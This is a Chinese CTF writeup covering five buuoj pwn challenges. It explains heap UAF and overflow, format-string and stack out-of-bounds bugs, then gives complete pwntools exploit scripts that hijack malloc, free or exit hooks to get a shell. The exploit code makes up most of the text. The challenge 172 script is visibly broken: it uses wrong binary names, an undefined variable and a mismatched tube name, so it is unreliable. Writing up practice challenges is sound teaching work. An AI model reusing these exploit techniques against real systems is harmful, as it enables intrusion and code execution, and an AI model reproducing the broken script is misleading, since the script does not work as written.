buuoj Pwn writeup 171-175

171 wdb_2018_1st_babyheap

buuoj Pwn writeup 171-175add
buuoj Pwn writeup 171-175
edit
buuoj Pwn writeup 171-175
只能编辑三次。

show
buuoj Pwn writeup 171-175
free
buuoj Pwn writeup 171-175
简单的uaf。

我们可以通过unlink来泄露地址,劫持free_hook。

要注意的是它自己写的一个输入函数。
buuoj Pwn writeup 171-175要么就回车截断,要么就输入32个。所以我们在写exp的时候如果是32字节,就不要加回车,如果不够32个字节,就一定要加回车,不然输入是截断不了的。

先通过double free泄露地址,然后把heap_base + 0x10的chunk申请到。并且把heap_base再挂进去。
buuoj Pwn writeup 171-175将heap_base + 0x10的地方拿回来,伪造好chunk,然后再次将heap_base申请回来伪造好chunk头,做一个unlink,目的是可以泄露libc地址,也可以顺便控制bss,劫持free_hook。

最后达到这样一个效果。
buuoj Pwn writeup 171-175

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r = process("./171")
#r = remote("node3.buuoj.cn", "25155")
elf = ELF("./171")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
#libc = ELF("./64/libc-2.23.so")

def add(index, content):
    r.sendlineafter("Choice:", "1")
    r.sendlineafter("Index:", str(index))
    r.sendafter("Content:", content)

def edit(index, content):
    r.sendlineafter("Choice:", "2")
    r.sendlineafter("Index:", str(index))
    r.sendafter("Content:", content)

def show(index):
    r.sendlineafter("Choice:", "3")
    r.sendlineafter("Index:", str(index))

def delete(index):
    r.sendlineafter("Choice:", "4")
    r.sendlineafter("Index:", str(index))

bss_addr = 0x602060

add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')

delete(0)
delete(1)
delete(0)
show(0)
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x30
print "heap_base" + hex(heap_base)

edit(0, p64(heap_base + 0x10)+'\n')
add(5, p64(0) + p64(0x31) + p64(heap_base) + p64(bss_addr-0x10))
#把heap_base再次挂进bins中.

payload = p64(bss_addr-0x18) + p64(bss_addr-0x10) + p64(0x20) + p64(0x90)
add(6, payload)
#伪造好chunk

add(7, p64(0) + p64(0x21) + p64(bss_addr-0x18) + p64(bss_addr-0x10))
#上面把heap_base挂进来的原因就是在这里修改伪造的chunk的chunk头

delete(1)
#然后把chunk 挂入unsorted bin中.

show(6)

malloc_hook = (u64(r.recvuntil('\x7f').ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
print "libc_addr = " + hex(libc_base)

system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

edit(0, p64(0) * 3 + p64(free_hook))
edit(0, p64(system_addr) + '\n')
delete(4)

r.interactive()

172 npuctf_2020_bad_guy

buuoj Pwn writeup 171-175
add
buuoj Pwn writeup 171-175
edit
buuoj Pwn writeup 171-175直接就堆溢出,一共可以edit四次。

buuoj Pwn writeup 171-175
就是一道简单的堆溢出,我们再次回顾一下堆溢出的思路。
堆溢出可以走uaf去攻击fastbin的路子,也可以走unlink的路子。

因为程序开了PIE,所以我们unlink不了,因为泄露不了程序基地址,所以我们还是泄露libc地址,然后攻击malloc_hook。

泄露libc地址因为没有show函数,所以只能通过劫持stdout来泄露地址。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r = process("./171")
#r = remote("node3.buuoj.cn", "25155")
elf = ELF("./171")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
#libc = ELF("./64/libc-2.23.so")

_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']

def add(index, size, content):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Index :", str(index))
    r.sendlineafter("size: ", str(size))
    r.sendafter("Content:", content)

def edit(index, content):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Index :", str(index))
    r.sendlineafter("size: ", str(size))
    r.sendafter("content: ", content)

def delete(index):
    r.sendlineafter("Choice:", "3")
    r.sendlineafter("Index:", str(index))

def exp():
    add(0, 0x18, 'pppp')
    add(1, 0xc8, 'p' * 0x68 + p64(0x61))
    add(2, 0x68, 'pppp')
    add(3, 0x68, 'pppp')
    add(4, 0x68, 'pppp')
    delete(1)
    add(1,0xc8, '\xdd\x45') #这两个字节是分配一个0x7f的地方来绕过检查,顺便带着爆破
    edit(0,0x20, 'p' * 0x18 + p64(0x71))#1
    delete(2)
    delete(4)
    edit(3, len('p' * 0x68 + p64(0x71) + '\x20'), 'p' * 0x68 + p64(0x71) + '\x20')
    add(4,0x68,'pppp')
    add(2,0x68,'pppp')
    add(5,0x68, 'ppp' +p64(0) * 6 + p64(0xfbad1800) + p64(0)*3 + '\x00') #flag的不同会导致泄露出来的libc的值不同
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c5600
    print(hex(libc.address))
    
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    system = libc_base + libc.symbols['system']
    delete(3)
    delete(2)
    edit(0,len(0x18 * 'p' + p64(0x71) + p64(malloc_hook-0x23)),0x18* 'p'+p64(0x71)+p64(malloc_hook-0x23))
    add(4,0x68,'/bin/sh\x00')
    add(5,0x68, 'p' * 0x13 + p64(libc_base + 0xf1147))
    r.recvuntil('>> ')
    r.sendline('1')
    r.recvuntil('Index :')
    r.sendline('2')
    r.recvuntil('size: ')
    r.sendline('50')
    return True
    
while True:
    try:
        global r
        r = process("./160")
        exp()
        r.interactive()
    except:
        r.close()
        print 'retrying...'

173 inndy_echo2

buuoj Pwn writeup 171-175buuoj Pwn writeup 171-175
就是一道简单的格式化字符串。
方法多多,我们这里改的是malloc_hook为one_gadget

from pwn import*

context.log_level = "debug"
context.arch = "amd64"

r = remote("node3.buuoj.cn", 28983)
#r = process("./173")
libc = ELF("./64/libc-2.23.so")

r.sendline("%43$p")
r.recvuntil("0x")
libc_base = int(r.recv(12), 16) - 0x20830
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a

print hex(libc_base)
print hex(malloc_hook)
print hex(one_gadget)

byte1 = (one_gadget & 0xff)
byte2 = ((one_gadget >> 8) & 0xff)
byte3 = ((one_gadget >> 16) & 0xff)
byte4 = ((one_gadget >> 24) & 0xff)
byte5 = ((one_gadget >> 32) & 0xff)
byte6 = ((one_gadget >> 40) & 0xff)
addr1 = byte1 + 0x100
addr2 = byte2 - byte1 + 0x100
addr3 = byte3 - byte2 + 0x100
addr4 = byte4 - byte3 + 0x100
addr5 = byte5 - byte4 + 0x100
addr6 = byte6 - byte5 + 0x100
    
payload1 = ""
payload1 += "%{}c".format(addr1)+"%15$hhn"
payload1 += "%{}c".format(addr2)+"%16$hhn"
payload1 += "%{}c".format(addr3)+"%17$hhn"
payload1 += "%{}c".format(addr4)+"%18$hhn"
payload1 += "%{}c".format(addr5)+"%19$hhn"
payload1 += "%{}c".format(addr6)+"%20$hhn"
payload1 += p64(malloc_hook)
payload1 += p64(malloc_hook + 1)
payload1 += p64(malloc_hook + 2)
payload1 += p64(malloc_hook + 3)
payload1 += p64(malloc_hook + 4)
payload1 += p64(malloc_hook + 5)

sleep(1)
r.sendline(payload1)

sleep(1)
payload2 = "%100000c"
r.sendline(payload2)

r.interactive()

174 qctf_2018_stack2

buuoj Pwn writeup 171-175
buuoj Pwn writeup 171-175
后门有了。

buuoj Pwn writeup 171-175问题出在这个地方,v5没有限制,存在数组越界。
v13是栈上的地址,所以我们直接把返回地址改成后门函数就行。

buuoj Pwn writeup 171-175
但是我们要注意v13的数组是char,所以我们要写四次,一次一个字节。

exp

from pwn import*

r = remote('node3.buuoj.cn','31725')
 
def write_addr(addr,va):
	r.sendline("3")
	r.recvuntil("which number to change:\n")
	r.sendline(str(addr))
	r.recvuntil("new number:\n")
	r.sendline(str(va))
	r.recvuntil("5. exit\n")
	
r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")
r.recvuntil("5. exit\n")

system_addr=0x080485AF
leave_offset=0x84
 
write_addr(leave_offset,0XAF)
write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

r.sendline("5")
r.interactive()

175 ciscn_2019_n_7

buuoj Pwn writeup 171-175
add
buuoj Pwn writeup 171-175

C 库函数 long int strtol(const char *str, char **endptr, int base) 把参数 str 所指向的字符串根据给定的 base 转换为一个长整数(类型为 long int 型),base 必须介于 2 和 36(包含)之间,或者是特殊值 0。

edit
buuoj Pwn writeup 171-175
add与edit的name都可以溢出,直接覆盖下个指针,然后达到利用效果。

show
buuoj Pwn writeup 171-175
后门
buuoj Pwn writeup 171-175
直接给出puts函数地址。

我们想着能够有溢出来达到一个uaf的效果,因为RELRO全开,不能劫持got表,那么我们需要劫持hook。malloc只用一次,没有free函数,所以两个hook都不可以。那我们考虑劫持edit_hook。当我们异常退出的时候,会调用exit_hook,然后getshell。

要注意exit_hook

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848

exp

from pwn import*

context.log_level = "debug"

r = remote("node3.buuoj.cn", 29247)
libc = ELF("./64/libc-2.23.so")

def add(name):
        r.sendlineafter("Your choice-> \n", "1")
        r.sendlineafter("Length: \n", str(0x30))
        r.sendafter("name:\n", name) #be careful of read

def edit(content):
        r.sendlineafter("Your choice-> \n", "2")
        r.sendlineafter("name:\n", "aaaa")
        r.sendlineafter("contents:\n", content)

r.sendlineafter("Your choice-> \n", "666")
r.recvuntil("0x")
puts_addr = int(r.recv(12), 16)
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 0xf1147
exit_hook = libc_base+0x5f0040+3848
print "puts_addr = " + hex(puts_addr)
print "libc_base = " + hex(libc_base)
print "exit_hook = " + hex(exit_hook)

payload = "a" * 8 + p64(exit_hook)
add(payload)
edit(p64(one_gadget))

sleep(1)
r.sendline("a")

r.interactive()
上一篇:VUE3 之 Non-Props 属性


下一篇:Photoshop制作漂亮的泡沫效果文字